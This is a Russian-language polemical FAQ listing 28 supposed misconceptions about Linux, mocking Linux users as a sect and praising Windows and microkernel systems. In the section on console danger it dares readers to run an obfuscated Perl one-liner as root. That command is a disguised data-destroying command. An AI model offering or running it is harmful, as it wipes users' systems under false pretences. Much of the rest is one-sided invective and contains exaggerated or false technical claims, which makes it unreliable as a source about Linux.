28 общепринятых заблуждения касательно Linux

28 причин почему Linux не имеет будущего

1. Linux лучше подходит для продвинутых пользователей - Windows для начинающих.

Очередное бредовое заявление. Для начинающего кого? Админа? Программиста? Художника? Архитектора? Дизайнера? Слесаря? Юриста? Музыканта? Бухгалтера? Дворника? Спортсмена? Водителя автобуса?

Кем я должен быть, чтобы мне был нужен именно Linux? Некоторые особо изворотливые линуксоиды выдавливают из себя некоего сферического "человека начинающего знакомиться с компьютерами". А если 90% так и не перешли на Linux, то значит, что они по прежнему находятся в стадии "ознакомления"?

2. Linux используют только профессионалы.

К примеру, только в страшном сне дизайнер или архитектор может представить себе, что его заставили использовать Linux. Вы, простите, в нормальном доме живете? А фильмы смотрите? Или вы хотите сказать, что архитекторов и дизайнеров нельзя называть профессионалами? А ведь именно они проектировали дом, в котором вы живете, и именно они рисовали декорации для вашего любимого фильма!

Вам бы хотелось жить в криво построенном доме, или смотреть унылую пародию на фильм, просто потому, что вместо занятия своим делом, человек начал одержимо ковыряться в системе, в попытках разобраться, почему что-то не работает?

Профессионалу важны удобные и инструменты, будь это программист, ему потребуется тщательно структурированный и комментированный код, а так же детальная документация. Музыканту - хорошие и функциональные программы для микширования, сведения и наложения эффектов, писателю - удобный текстовый редактор и т.д.

Всего этого вы не найдете в Linux. Даже миф о том, что Linux хорош для программистов, рушится как только вы сталкиваетесь с той самой хваленой "архитектурой Linux", о которой я упоминаю в других разделах этого FAQ.

В Linux просто нет программ, способных удовлетворить потребности пользователя, если они уходят дальше "походить по интернету в FireFox". В таком случае тут и Linux не при чем. Он будет не более чем "пускалкой" для более успешного программного продукта, да и то пускалкой постольку-поскольку в место Linux может быть использована любая другая (открытая если это требуется) система.

Таким образом мы получаем некого сферического профессионала, надрессированного на решение специфических для Linux проблем и ничего более. Польза от такого человека крайне сомнительна. Умение решать надуманные проблемы никому не нужно.

3. Linux учит думать - от Windows пользователь тупеет.

Данный бред придумали Линуксоиды, чтобы хоть как-то оправдать, тот факт, что за компьютером они не работают, а ковыряются в системе в попытках заставить ее работать по человечески.

Linux не учит думать, Linux учит решать надуманные проблемы, которых просто не должно быть

Зачем мне нужно напрягаться, искать какие-то подходящие именно для меня дистрибутивы, разбираться с тем, от какого железа я готов отказаться ради счастья использовать Linux? Зачем я должен постоянно читать документацию на все что ни попадя? Зачем мне вообще голову ерундой забивать? У меня есть дела и поважнее чем постоянное решение берущихся на пустом месте проблем. Я заплатил за компьютер и хочу сесть и начать работать с ним. Разве это плохо?

Куплю я, к примеру, тостер принесу домой. Он не работает. Принесу обратно в магазин, а продавец-подросток мне начнет кричать "вы его не осииилили, вон там к нему инструкция в 5 томах, а ещё на коробке адрес интернет-форума написан!!!" Как вы думаете, куда я этому продавцу этот тостер запихну?

На счет "пользователь тупеет" это часто бывает от Linux. По факту Linux заставляет не столько учиться, сколько приобретать кустарные навыки по настройке и поддержанию в приличном состоянии самого себя

Весь Linux и OpenSource вместе взятые - это что то среднее между коммунистической утопией и сектой. А что это такое мы с вами прекрасно знаем - сверху сидят умные дяди, которые зарабатывают на этом деньги (в том числе пилят государственные - т.е. наши же с вами налоги), а грязная же работа делается руками романтически настроенных мальчиков и девочек у которых в головах одни мечты, философия хиппи и "свобода".

4. Пользователи Linux мирно существуют и никому ничего не навязывают.

Как только появились линуксоиды, появилось стремление с их стороны противопоставить себя окружающим. Задолго до Linux все было тихо и мирно. Были пользователи Mac, были пользователи Amiga, пользователи Windows и пользователи других систем. Ключевое слово тут именно пользователи. С момента начала "победоносного" шествия Linux по планете выяснилось, что оказывается все другие люди относятся ко второму сорту, если они не понимают и не принимают все прелести использование Linux. Разумеется, ряд разногласий из разряда "что лучше Mac или Amiga" был всегда. Но тут не было главного, - тут не было идеологии, которая как раз таки появилась вместе с Linux. Если у других систем и платформ были те или иные конкурентные преимущества, то у Linux не было ни того не другого. Действительно, что было у Linux? У него не было ровным счетом никаких достоинств! Но так продвигать систему было невозможно, нужно было что-то, выделяющее ее на фоне остальных, что-то, что можно будет скормить широким массам под видом общего блага. Этим благом стала идея открытости.

Подобное мы можем наблюдать в различных сектах. Там, как правило, тоже есть идея некого счастья, приближения к абсолюту и т.д. Заметьте, что секты отличает та самая узость мышления, вокруг которой выстраивается весь фундамент учения.

Таким образом Linux стал двойным ядром. С одной стороны он представлял собой ядро, как центральную часть системы, с другой он оказался ядром, как точкой сплочения приверженцев секты

Как только у группы людей начинает расти свое самосознание и чувство своей отличности от других, у этой группы появляется свое само-наименование. Вот тут то и появляется термин "линуксоид". И как только накопилась некая критическая масса фанатиков, была начата политика тотального навязывания и насаждения Linux. Хитрая спекуляция понятиями, свободами и ценностями преследовала главной целью убедить широкие массы в том, что Linux имеет целый ряд перспектив и что он им просто необходим в реальной жизни. Все несогласные стали получать клеймо ламеров, неспособных понять и разобраться. Именно с подачи линуксоидов появился едкий нарицательный термин "виндузятник", который обозначал не кого иного, как простых пользователей (!). Таким образом именно линуксоидами было создано разделение на согласных и несогласных и именно ими была начата политика активного расширения границ своей секты за счет тех людей, которые боялись получить клеймо неудачников, не способных работать с Linux. С этого началось агрессивное навязывание Linux широким массам

5. Доля Linux растет с каждым годом.

Во-первых увеличение количества компьютеров под управлением Linux связано с общим увеличением компьютеров у населения.

На самом деле суммарная доля компьютеров под управлением Linux за десять лет практически не изменилась и июль 2012 года составляет 1,5%

Заметьте, что этот процент не чистый, так как многие люди попавшие в него держат Linux на правах "посмотреть что там в очередном дистрибутиве сделали". Далеко не всегда дело доходит до реальной установки Linux, многие ограничиваются установкой на VMWare, или использованием, так называемых, LiveCD. Большая часть линуксоидов, кстати, держит у себя установленными сразу несколько дистрибутивов, что дополнительно накручивает счетчик в большую сторону. Так же, заметьте, что этот процент разбросан по десятку "популярных" дистрибутивов! То есть даже тут нет никакого единства! Вы можете представить себе, например, пользователя MacOS, который ставит себе мультибутом сразу 2-3 копии MacOS и пытается пользоваться ими одновременно? Для пользователей Linux это норма.

Не стоит забывать про встроенные решения и разного рода сервера, в которых Linux еще имеет некоторую популярность, и которые видимо с успехом дополняют этот самый процент. Как следствие: даже самые смелые ожидания линуксоидов далеки от реальности.

6. Под Linux много программ.

Да только 90% из них нафиг не нужны простому пользователю. Иными словам, Linux может обеспечить только около 10% функциональности, необходимой в реальной жизни. Да, конечно по интернету походить и почту проверить можно и под Linux, но тоже самое я могу сделать и на мобильном телефоне! Как только потребуется выполнить более или менее серьезную задачу на компьютере, придется действительно туго! Вот представьте себе, что в один прекрасный момент вам потребовалось скачать себе на жесткий диск содержимое определенного сайта. Казалось бы неожиданная, но вполне реальная ситуация. На 2009 год для простого пользователя Linux она является невыполнимой! Единственной программой для скачивания файлов является Wget, но она консольная, и для того, чтобы разобраться с правилами ее использования, придется обладать хорошими знаниями и потратить не один час на поиск скрипта, удовлетворяющего именно ваши потребности! Далее смотрим на описание и ужасаемся: "Wget является не-интерактивной программой. Это означает, что после её запуска пользователь не может повлиять на её работу, кроме как повлиять на выполнение программы посредством сигнала (утилита kill) или нажатием на клавиатуре Ctrl-C в терминале"[2]. Это напоминает машину, в документации к которой написано, что "пользователь не может повлиять на ее движение, пока машина или не врежется в стену или не взорвется".

Пользователь, если задаст подобный вопрос линуксоиду, получит ответ, что это делается одной командой. Но, во-первых, эту команду нужно знать, а во-вторых кто сказал, что ей все ограничится? А в третьих, кто говорил, что в Linux уже не требуется умение работать с командной строкой!? Вы знаете, что на сайте может потребоваться пройти авторизацию, на нем могут быть java скрипты, с которыми Wget работать по нормальному не умеет, вам может потребоваться особым образом отсортировать скаченное, или скачать только текстовую составляющую. Вариантов сотни. И в Linux вы это просто не сможете сделать! А если вам это очень нужно, то как вы будете выходить из положения?

Мне вот тут недавно потребовалось заполнить данные в одной интерактивной форме. Заполнение формы "на месте" стоило 500 рублей. Мне нужно было заполнить три разных копии. Все это я мог сделать и дома, но вот только в Linux предоставленный мне PDF если и открывался, то напечатать ничего не получалось. То в программе нет поддержки, то вместо букв ерунда какая-то печатается. В итоге у меня была великолепная возможность отдать 1500 рублей за то, что другие люди впечатают нужные буквы в нужные места, а я как дурак бы продолжил гордиться своей исключительностью и тем, что я использую Linux. Вы готовы иметь подобную перспективу?

До этого понадобилось графики и диаграммы для одного учебного пособия выполнить. И снова оказалось, что под Linux нет инструментов! Под Windows кроме Excel, который меня не очень устроил в этом плане, были и другие хорошие программы. Что мне в этом плане мог предложить Linux? Корявый OpenOffice с его Calc? Ну и зачем он мне, если мне нужна была более узконаправленная программа.

Потребовалось мне еще сделать какое-то действие, выходящие за рамки того, что предусмотрели разработчики, и снова неудача! Снова нет подходящих инструментов. Ведь разработчикам даже в голову не приходило проанализировать реальные потребности пользователей.

Примеров можно приводить сотни, начиная от избитого Photoshop и заканчивая написанием драйвера под новое устройство!

7. ... но Linux это только ядро!

Простите, вы что, только ядро внедрять собрались?! Почему, как только линуксоидов начинают прижимать к стенке, начинается отчаянная попытка подмены понятий?

8. Консоль удобнее GUI

Консоль не является интуитивно понятным интерфейсом. Чем шире круг пользовательских задач и чем реже они повторяются, тем менее удобен интерфейс командной строки.

Это факт. Графический интерфейс всех приложений построен на схожих принципах, что позволяет при необходимости освоиться даже методом тыка. Вот пример "интуитивной" команды распаковки архива "bzip2 -cd foo.tar.bz2 tar -xvf -".

Проблема линуксодов в том, что они считают себя умнее от умения решения искусственно созданных проблем. Нормальному человеку гораздо проще нажать кнопоку "распаковать", чем утруждать себя запоминанием кучи букв и цифр. Глупее он от этого не станет, зато у него появится возможность оставить больше времени на действительно полезные занятия.

9. Реестр - сакс, конфиги рулят!

GUI пишут программисты, которые там проверяют ошибки. Конфиг пишут пользователи и там ошибок никто не проверяет. Соответственно, уж если где пользователю проще ошибиться, так это как раз при правке текстового файла.

Разберем все на примере. В комментариях к конфигам обычно прописан формат данных, в соответствии с которым они вводятся. Ашипся я, опечатался. 1976 перепутал с 1796. А дата используется только в конце длительного процесса. Причем без даты завершен он корректно быть не может - результат будет неверный. Причем дата зависит от конфигурации, а не от приложения. Т.е. в одной конфигурации дата может быть валидна, а в другой нет. В GUI я могу сколь угодно проверять, используя какие угодно правила. Важно, что в GUI есть дополнительная прослойка кода, которая занимается удобным представление данных и их проверкой. И отказывается от нее в пользу прямого редактирования теста нет ни малейшего смысла. Таким образом вероятность ввода не корректных данных исключается!

Тут линуксоиды могут сказать, что "любые параметры должны проверяться при загрузке приложения". Только проверяться они могут по разному! Дело программы убедиться, что она эти данные сможет переварить, а не то, что они соответствуют задаче. Иначе при любом изменении придется программу переписывать.

Могут ли линуксоиды в своем текстовом конфиге ограничить выбор доступных значений, проверить их валидность, к примеру? Вместо того, чтобы исключить заведомо некорректную конфигурации на этапе ввода, продвинутые линуксоиды предлагают делать это в рантайме? А если параметры некорректны в определенных обстоятельствах, которые так вдруг не наступят? Ловить экшепшены раз в неделю? Вот он Unix-way!

Любая ошибка при правке конфигов может просто убить систему - в этом я многократно убеждался на собственном опыте. Заметьте, тут не нужны даже вирусы! Для падения программы или всей системы может хватить того, что при вводе дробного значения вы вместо запятой в качестве разделителя поставите точку.

Графические конфигураторы - это качественно новый уровень как по удобству, так и по функциональности. Использование тектовых файлов для настройки - это не более чем попытка переложить на пользователя обязанности программиста.

На самом деле линуксоиды, пусть и с большой неохотой, начинают признавать, что идея использования текстовых файлов для настройки системы в наше время изжила себя. Именно поэтому в последние годы был сделан акцент на то, что пользователю теперь не надо лазить в конфиги, а достаточно понаживать кнопочки.

До этого, напомню, нажимание кнопочек в графическом интерфейсе было признаком того, что человек ламер. Теперь вроде как стандарт изменился, и кликать мышкой уже не так зазорно

Введение графических конфигураторов для текстовыми конфигов породило только новые сложности, просто потому что вместо качественной переделки был избран традиционный unix путь, ведущий к придумыванию новых костылей для решения поставленных задач.

Что касается реестра. Реестр является единой базой данных для хранения сведений о конфигурации компьютера и настроек операционной системы имеющей с иерархической структурой. К пользователю, кстати, реестр никакого отношения не имеет, и работа с ним может потребоваться только разработчику. Отсюда мне непонятны претензии линуксоидов о том, что им непонятны значения и параметры в нем. Что за стремление лезть куда не попадя и возмущаться от того, что "ничего не понятно"?

Писать о преимуществах реестра смысла нет. Достаточно вспомнить, что все данные на серверах хранятся в виде баз данных, а не в виде текстовых файлов. Поэтому остается только догадываться о причинах столь странной слепоты Unix мира.

10. В Linux не требуется владение консолью все делается из графических утилит.

В Linux невозможна нормальная настройка и работа, используя исключительно графические средства. По-прежнему даже для выполнения ряда тривиальных действий приходится открывать консоль, править системные файлы, искать по интернету параметры и ключи, а также заниматься прочей ерундой, которая никак не связана с работой за компьютером. Если не верите, то откройте любой форум, посвященный Linux, и посмотрите пути решения ряда проблем. Пример с выполнением такого простого действия, как создание локальной копии сайта, я уже приводил.

Вдобавок, в использовании консоли заключается серьезная опасность. Попробуйте запустить следующий скрипт с правами root.

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-}<&`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

11. Под Linux нет вирусов.

Linux, как известно строится на принципах unix-like. Unix даже тут оказался первым! В 1988 году червь Морриса [3] оказался первым в истории компьютерным вирусом, причинившим огромные убытки ряду компаний, которые уже тогда успели обзавестись компьютерами. Нанесенный ущерб составил 100 миллионов долларов! Как всегда, в одном из сервисов Unix была найдена дыра, ну а там и массовая эпидемия...

В наше время под Linux действительно вирусы писать не принято. Что говорить, если зачастую даже программы в Linux работают от дистрибутива к дистрибутиву через раз. Думаете, кто-то будет тратить время на попытку произвести атаку на единичные компьютеры?

Также следует учитывать еще и изначально более высокий уровень компьютерной грамотности линуксоидов (которая, кстати говоря, падает). Система разделения прав, которой так гордятся Линуксоиды, также в некоторой мере играет в этом роль. Но и под Windows ограниченные учетные записи никто не отменял.

В последние годы вообще появился ряд "антивирусов для Linux". И как это не удивительно, они оказались востребованными!

12. Linux бесплатен!

В этом мире не бывает ничего бесплатного. Если вы думаете, что кто-то для вас будет работать забесплатно, то вы ошибаетесь. "Бесплатное" продвижение - хитрая стратегия по зарабатыванию денег на желающих халявы людях. Первая доза всегда бесплатно! Главное подсадить! Если в случае с той же Windows вы понимаете, за что платите, то в Linux данного понимания у людей, одурманенных словами о "свободе", нет. В самом простом случае под бесплатностью Linux будет подразумеваться то, что вас (завуалировано, разумеется) будут использовать в роли beta тестера для последующего коммерческого продвижения платных дистрибутивов Linux. К примеру, Xandros Linux стоит 100$ за десктопную версию, серверная же стоит 450$. Не хило, правда [4]?

В общем-то этот факт и не скрывается, только понимают его единицы, остальные слишком заслушались сказками про свободу. Вот что написано в Wiki по поводу известного дистрибутива Fedoкф: "Дистрибутив рассчитан на тех, кто любит работать с новыми версиями программ. Изменения, предназначенные для Red Hat Enterprise Linux, сначала проходят обкат в данном дистрибутиве [5]." Далее нам сообщается: "По лицензионным соображениям отсутствует поддержка MP3 и DivX". И снова тут прочитывается мысль: хотите, чтобы еще и музыка с видео воспроизводились - покупайте наш платный дистрибутив Red Hat Enterprise Linux, подписка на который в самом дешевом варианте составляет 80$ в год [6]! И это при том, что нам даже не гарантируют своевременную техническую поддержку, а говорят о сроке в два рабочих дня! Вы готовы, чтобы ваше предприятие просто так стояло и отдыхало, пока конкуренты продолжают работать? И снова 80$ стоит только самая дешевая подписка, в которую непонятно что включено. Для сравнения: нормальная версия, где четко дано понять, что нам продают десктопную версию ("Workstation with Standard Subscription"), стоит 299$ в год(!!)! И только за эти деньги нам предоставят полноценную поддержку 5 дней в неделю по 12 часов. (12x5 phone support, web support, unlimited incidents). И то только в рабочие дни, а если в выходные что-то случится...

Да взять даже самый правильный и самый лицензионно чистый Debian. Тут тоже идет обкатка сырого кода на опьяненных "свободой" пользователях. На базе Debian делают якобы свободную Ubuntu, которую мало того что по старой африканской традиции всегда не допиливают перед релизом, так еще и ее создатель заявляет, что планирует через несколько лет "бесплатного" развития выйти в деньги! Вам не кажется странным что "бесплатный", "бесплатно", а потом раз, и "выйти в деньги". Деньги-то, скажите, откуда в такой "прозрачной" схеме берутся? Правильно, тут идет тщательно законспирированное решение по зарабатыванию денег на особо наивных пользователях. Сначала деньги вкладываются в проект, а потом тот самый проект должен начать приносить деньги. Это бизнес! Тем более спонсором проекта Ubuntu является коммерческая фирма Canonical.

Если вы все еще верите в то, что кто-то будет просто так работать, то покажите мне место, где рабочие бесплатно строят дома, а фермеры выращивают пшеницу! Покажите мне это место, я хочу его увидеть!

13. Я не хочу использовать пиратское программное обеспечение. Хочу жить с чистой совестью!

Да-да, наслушались мы сказок о праведности линуксоидов, которые даже улицу всегда переходят строго по пешеходным переходам на зеленый свет. Простите, вы хотите сказать, что фильмы и музыку вы тоже всегда покупаете? Что ни у кого фильм на "посмотреть" даже не брали? А ведь вы тем самым нарушаете авторские права других людей! Как можно быть столь правильным в одном и столь нечестным в другом? Что у вас предприятие и вам сказали, что "на Linux будет дешевле и надежней"? Вас обманули, ну или если мягко говорить, не правильно проинформировали. Вам не мешает более детально ознакомиться с так называемой "философией бесплатного ПО", прежде чем делать скоропостижные выводы о том, что на бесплатном Linux будет дешевле.

Также не путайте понятие воровство и незаконное использование чужой интеллектуальной собственности. Путанием понятий страдают не только линуксоиды, но и правообладатели.

Для простых пользователей - вам никто не мешает и под Windows использовать Свободное Программное Обеспечение, которого тут, кстати говоря, значительно больше, чем в Linux. Что, скажите мне, вам мешает это сделать?

14. Я использую Linux по идеологическим соображениям.

Тогда вам остается только обратиться к врачу. У нормальных людей нет отупляющей идеологии.

15. Билл Гейтс ужасный злодей.

Вот интересно, почему у линуксоидов такая ненависть к этому человеку? Он единственный, кто реально что-то сделал для популяризации компьютера! Вспомните хотя бы MS-DOS 1.0, которая стоила в десять раз дешевле осей конкурентов! Или вот сейчас посмотрите на Apple, который продаёт свои Macintosh в три-четыре раза дороже IBM-совместимых компьютеров с Windows. Не говоря уже о линуксоидах, которые вместо популяризации прилагают максимум усилий, чтобы запугать пользователя и привить у него стойкое чувство отвращения к вычислительной технике. И после этого у кого-то поворачивается язык сказать "Билл Гейтс - козёл"? Да этот человек сделал для популяризации компьютера в сотни раз больше, чем кто либо другой на планете! Почитайте книги Торвальдса и Гейтса, сравните подход пафосного финна ("Меня иногда спрашивают, как я справляюсь с бременем славы? Честно говоря, нет тут никакого «бремени»") и те вещи, которые пишет Билл Гейт! Да что там! Торвальдсу даже хватило наглости заявить "Меня зовут Линус Торвальдс и я - ваш бог (с) 1998 Linus Torvalds [7]. Одним словом, чувак захлебнулся в собственном пафосе! Гейтсу же ни разу за всю жизнь не хватило наглости сделать ни одного подобного заявления!

16. Linux имеет современную и перспективную архитектуру.

"Написание монолитного ядра в 1991 г. было «гигантским шагом назад в 1970-е годы" [8]. Автором этих строк является профессор Амстердамского университета Эндрю Таненбаум. Именно по его книге, кстати, Линус Торвальдс написал свой Linux. Когда Тоненбаум более детально ознакомился с плодом мысли своего неудачливого читателя, он заявил следующее: "Я по-прежнему считаю, что создавать монолитное ядро в 1991 году — фундаментальная ошибка. Скажите спасибо, что вы не мой студент: за такой дизайн я бы не поставил высокой оценки". Действительно, дизайн Linux дублировал допотопные принципы Unix, которая, как всем известно, является морально устаревшей системой. К сожалению, никому не хватало здравомыслия посмотреть на Linux без пафосного предрассудка о "современном дизайне Linux", внушенного массам. Отсутствие изначального плана работ, неверно взятое направление развития, отсутствие опыта в проектировании систем, - всё это сделало Linux крайне кривым и не поворотливым. Слепота длилась достаточно долго - пока шла волна истерии вокруг Linux, но осознание бесперспективности всего Linux понемногу стало доходить до людей. Так, в 2009 году Эндрю Таненбаум получил от грант от Евросоюза в размере 2,5 миллионов евро на развитие концепции микроядерной архитектуры [9].

Сама концепция микроядра не нова. В начале 1980 годов на рынке присутствовали системы, использующие подобную архитектуру. К сожалению, им не удалось выйти на рынок просто потому, что им не хватило пафоса, ведь именно личность Торвальдса из финского неудачника превратили в романтический идеал студента, написавшего операционную систему. Микроядерная архитектура - признак тонкого и стройного дизайна. Микроядра [10] обычно имеют очень малый размер - в пределах 40-100KB, но обеспечивают высокую надежность и модульность ОС. Так, к примеру, в Linux подключить необходимый модуль достаточно сложно, а в концепции микроядра подгрузка или выгрузка модуля представляет собой штатное действие. За счет этого достигается высокая производительность и гибкость, так как нет нужды держать загруженными ненужные модули. А возможность динамической выгрузки модулей обеспечивает очень высокую надежность. Так в Linux любая ошибка в драйвере приведет к краху всей системы с неизвестным итогом (злоумышленники могут захватить контроль и похитить или уничтожить ваши данные). В микроядерной же системе подобная ситуация практически исключена. Драйвер мало того что не сможет получить привилегии для доступа к данным, так еще и будет выгружен в случае, если в нем произойдет ошибка. К примеру, в ядре системы Эндрю Таненбаума - ОС Minix - не было найдено не единой уязвимости в ядре за целых десять (а то и больше) лет[11]. Вам иголку будет проще найти на столе или в стоге сена?

Поддержка монолитного ядра КРАЙНЕ сложна. Я считаю, что любое внедрение Linux в масштабах страны будет серьезным ударом по всем организациям, использующим эту систему, как только речь коснется дальнейшей поддержки и развития Linux. Поэтому все призывы опенсорщиков, в которых взывается к возможности легкой модификации Linux под себя, являются чистым воды саботажем

А как насчёт того, чтобы найти ошибку в монолитном ядре? По этому поводу приведу одну интересную цитату: «Второй человек в Linux, Andrew Morton, горько сетует по поводу состояния разработки -mm ветки ядра (напомню, что именно в неё сначала добавляются экспериментальные патчи, а только потом, после тестирования, они имеют шанс попасть в основное ядро): «У меня ушло двое полных суток на то, чтобы всё это скомпилировать и загрузить на нескольких моих компьютерах. Чтобы добиться положительного результата в этом процессе, я написал около девяноста исправляющих патчей и патчей по отбрасыванию ненужного. Уже сейчас я наблюдаю несколько известных мне багов, но полагаю, на самом деле их гораздо больше. Я должен сказать, что [такая модель разработки] больше не работает»[12]. Последний патч для ядра 2.6.23-rc6 весит почти 30 мегабайт. По-русски говоря, это около тридцати тысяч страниц исходников (если оптимистично считать по тысяче символов на страницу)»

По состоянию на 2009 год размер ядра 2.6.30 составляет более 65MB[13] (!). И это при том, что исходники микроядра редко занимают более нескольких сотен килобайт!

Тут можно говорить очень долго. К примеру, для многих недалеких людей до сих пор отсутствие драйверов под Linux кажется злым заговором корпораций против Linux. На самом деле все гораздо проще. Корпорации не заинтересованы тратить сотни тысяч долларов на написание драйверов под Linux ввиду колоссальной сложности данного процесса. Да даже если драйвер будет написан, то неминуемо потребуется целая команда разработчиков для его поддержки просто потому, что ядро Linux не имеет стабильного ABI (Application Binary Interface), а это значит, что с каждым выходом нового ядра будет необходима переделка под него драйвера. Для сравнения: единожды написанный драйвер под какую-нибудь Syllable будет работать от версии к версии без необходимости его постоянного обновления. Как вы думаете, под какую ОС производитель устройств с большей охотой будет писать драйвера?

Я не предлагаю всем переходить на Minix просто потому, что она преследует академические цели и служит для обучения проектировке систем, драйверов и интерфейсов. Существуют другие проекты, так или иначе наследующие концепции микроядерности. К самым известным относятся Syllable и Haiku. Первая имеет гибридное ядро, вторая чем-то ближе к микро. Разумеется, что идеальное соблюдение микроядерной архитектуры для домашних Операционных Систем нецелесообразно, но это безусловно большой шаг вперед.

17. Я хочу посмотреть, как устроена операционная система изнутри. Linux представляет мне хорошую возможность разобраться в этом.

Вы сильно ошибаетесь, если считаете, что Linux позволит вам сесть и разобраться в том, как устроена Операционная Система. Судите сами: объем одного ядра 2.6.30 составляет более 65MB (!), а это около 70 тысяч страниц исходных кодов! И с каждым днем размер ядра продолжает увеличиваться! Вы уверены, что сядете и легко и непринужденно сможете разобраться в СЕМИДЕСЯТИ ТЫСЯЧАХ страницах исходников? И повторяю: это только ядро! Помимо этого есть куча других вещей, с которыми вам наверняка захочется ознакомиться и, поверьте, весить они будут не меньше! В данном FAQ я уже приводил цитату ведущего разработчика, который с ужасом писал о том, как даже ему, человеку, посвятившему долгие годы программированию под Linux, сложно разобраться с тем, как все это вообще работает. Вы думаете, вы умнее его?

Если вам так уж интересно узнать, что такое операционная система изнутри и как она работает, посмотрите в сторону других проектов. Есть десятки очень компактных (от десятка килобайт до несколько мегабайт) Операционных Систем, где все четко и понятно[14]. Там вы легко сможете, при наличии необходимых знаний, разумеется, сесть и разобраться с тем, что и как работает. В этих системах все просто и понятно! Они компактные и простые для понимания! Вам всегда будут рады, независимо от уровня ваших знаний. Не умеете программировать? Пожалуйста рисуйте, переводите документацию, помогайте с развитием сайта и т.д. Главное? что вы сможете быть в центре разработки! Попробуйте потратьте пару лет на то, чтобы написать какое-нибудь дополнение для Linux, после чего его возьмут и не примут. Хотите убивать свое время? Linux дарит вам такую возможность!

Если у вас хватило сил начать свой проект - не забывайте об одном: не увлекайтесь поддержкой "стандартов"! Чужие стандарты убьют ваш проект, каким бы хорошим он не был. Соблазн использовать готовое будет очень велик, но ничего хорошего он не принесет. Если хотите добиться результатов, не видитесь на перспективы использования кучи POSIX совместимого софта, он (софт) сделает ваш проект безликим и никому не нужным.

18. Linux хорошо работает даже на старом компьютере.

Знаете, я уже сыт по горло бредовыми рассказами о том, как люди якобы успешно работают на каком-нибудь древнем Pentium 3 500Mhz с 256MB RAM под Linux. Вы думаете, я поверю, что вы серьезно работаете на таком старье и оно удовлетворяет ваши потребности? На таком железе, кстати, Windows XP очень даже хорошо себя чувствует. Или вы занимаетесь извращением под названием "работа", чтобы перед другими похвастаться? Дескать, они все дураки - купили себе Mac или PC и работают с современными программами на современном железе, а я такой крутой Linux поставил себе!

Так, ладно. Хорошо. Считаете, что Linux для старого железа хорошо подходит? Урезаем конфиг до уровня Pentium 200Mhz с 64Mb оперативной памяти. Спорить, что это старое железо, будете? А теперь пытаемся поставить на него Linux. Могу гарантировать, что вам это не удастся! В лучшем случае вы получите голую консоль, в худшем убогую графическую среду, которая будет тормозить при каждом движении мышки! А теперь проведем необычайный эксперимент. Нет, мы поставим даже не Windows. Мы поставим Syllable. И о чудо! Все загружается и все работает! Тут вам и музыка играет и интернет работает! Причем все это работает сразу и без утомительного ковыряние в недрах системы! Почему Linux не может на таком конфиге работать, а Syllable работает идеально? Что, и тут заговор?! Тут тоже кто-то сговорился против Linux? Думаете, разработчики Syllable специально затачивали свою систему под старые компьютеры? Вы ошибаетесь, столь же успешно Syllable работает и на новом железе!

Что качается скорости Linux, то тут доходит до явных парадоксов. Так, казалось бы родное для Linux приложение OpenOffice в сборке под Windows оказывается на 40% быстрее[15]!

19. Linux портирован даже на ... тостер и это здорово!

Ага, ещё утюги, соковыжималки, фотоаппараты остались не охвачены ... работы непочатый край! Ничего выдающегося в подобных портированиях нет. То, что вы можете вилкой поесть суп, завернуть шуруп и выдернуть гвоздь, не говоря уж о более замысловатых вещах, вовсе не означает, что стоит всё это делать именно вилкой! Специализированные решения будут куда более эффективны! К сожалению, многие идут на поводу у мнимой универсальности Linux, а также во многих случаях пытаются сэкономить на внедрение этих самых специализированных решений. Как результат полученные продукты не имеют той отточенности и того качества, которое разработчики могли бы получить, используй они другую систему. Существуют десятки систем, для встраиваемых решений и, если не сужать кругозор до Linux, решение поставленной задачи может быть проще и качественней, чем вы могли даже ожидать!

20. В Linux функция X появилась раньше чем в Windows.

В Linux всё появляется невовремя, даже требуемый функционал. К примеру, файрвол ipchains в дистрибутив Linux был включен действительно уже в 1994 году. Заметьте - включен в дистрибутив, это не значит "впервые разработан". Учитывая тот факт, что Linux имел серверную направленность, это было действительно важно. Но опять таки, на 94 год только конченный фанат мог попытаться поднять сервер на Linux, так как сама система была крайне нестабильна.

Простому пользователю на тот момент файрвол было просто не нужен, тем более что Интернет был у единиц, и только избранные могли хоть как-то настроить этот самый файрвол.

В Windows файрвол был встроен только к моменту, когда он стал реально востребован. До этого каждый, кто считал, что ему нужен файрвол, мог установить любое стороннее решение.

Многие линуксоиды ошибочно считают (и очень гордятся этим), что впервые 3d эффекты появились в XGL (ныне Compiz). Если это потребуется, то они (линуксоиды) даже приведут вам даты выхода Vista и покажут, что за год до этого у них были эти самые 3d эффекты. Простой пользователь с высокой степенью вероятности поведется на подобный обман. На самом деле тут идет явная подтасовка фактов. Первые 3d эффекты на Windows появились уже в 2002 году в сборке Build 3718 Longhorn [16] (ныне Vista). XGL [17] официально появился только в 2006 году. Чувствуете разницу? Простые цифры показывают, что Windows тут был первым.

Крупные компании всегда тратят деньги на исследование с заделом на будущее. В Linux все стараются только дотянуть до следующего релиза дистрибутива.

21. В Linux разделение прав реализовано лучше чем в Windows.

Это опять вопрос своевременности и целесообразности.

На домашнем компьютере простой пользователь также является администратором. Само название ПК - Персональный Компьютер - подразумевает, что работать и администрировать систему будет один человек

.

Дополнительные сложности, связанные с самоограничением и работой под ограниченной учетной записью, создают для пользователя только неудобства. Как следствие, даже если удается заставить пользователя соблюдать эти правила, то пользователь выходит из положения, используя примитивные пароли вроде "123456". Таким образом вся безопасность сводится на нет. Зачем нужна система безопасности, если пользователю она причиняет только сложности.

Даже работая под ограниченной учетной записью пользователь не застрахован от потери своих данных. Вирусу может не хватить прав на уничтожение всей системы, но вполне хватит прав для удаление именно пользовательских данных. Вам полегчает, если все ваши рабочие документы будут уничтожены, но сам Linux продолжит грузиться? К слову сказать, адекватных программ для восстановления удаленных данных с разделов Linux нет, и на это есть много причин.

Если Unix у нас многопользовательская ОС, то почему пользователь не может поставить нужное ему программное обеспечение? Да, распаковать что-то примитивное в пользовательскую папку я смогу, а что дальше? Разве это установка? Как я, работая в системе под учетное записью пользователя, могу поставить, скажем, Firefox? А если мне потребуется поставить две разные версии Firefox? Что, это снова невозможно?! Как система может называться многопользовательской, если в ней даже такие элементарные вещи не предусмотрены?! Опять мы видим всю отсталость Unix-like систем! Опять получается, что работать мы можем полноценно только под учетной записью root!

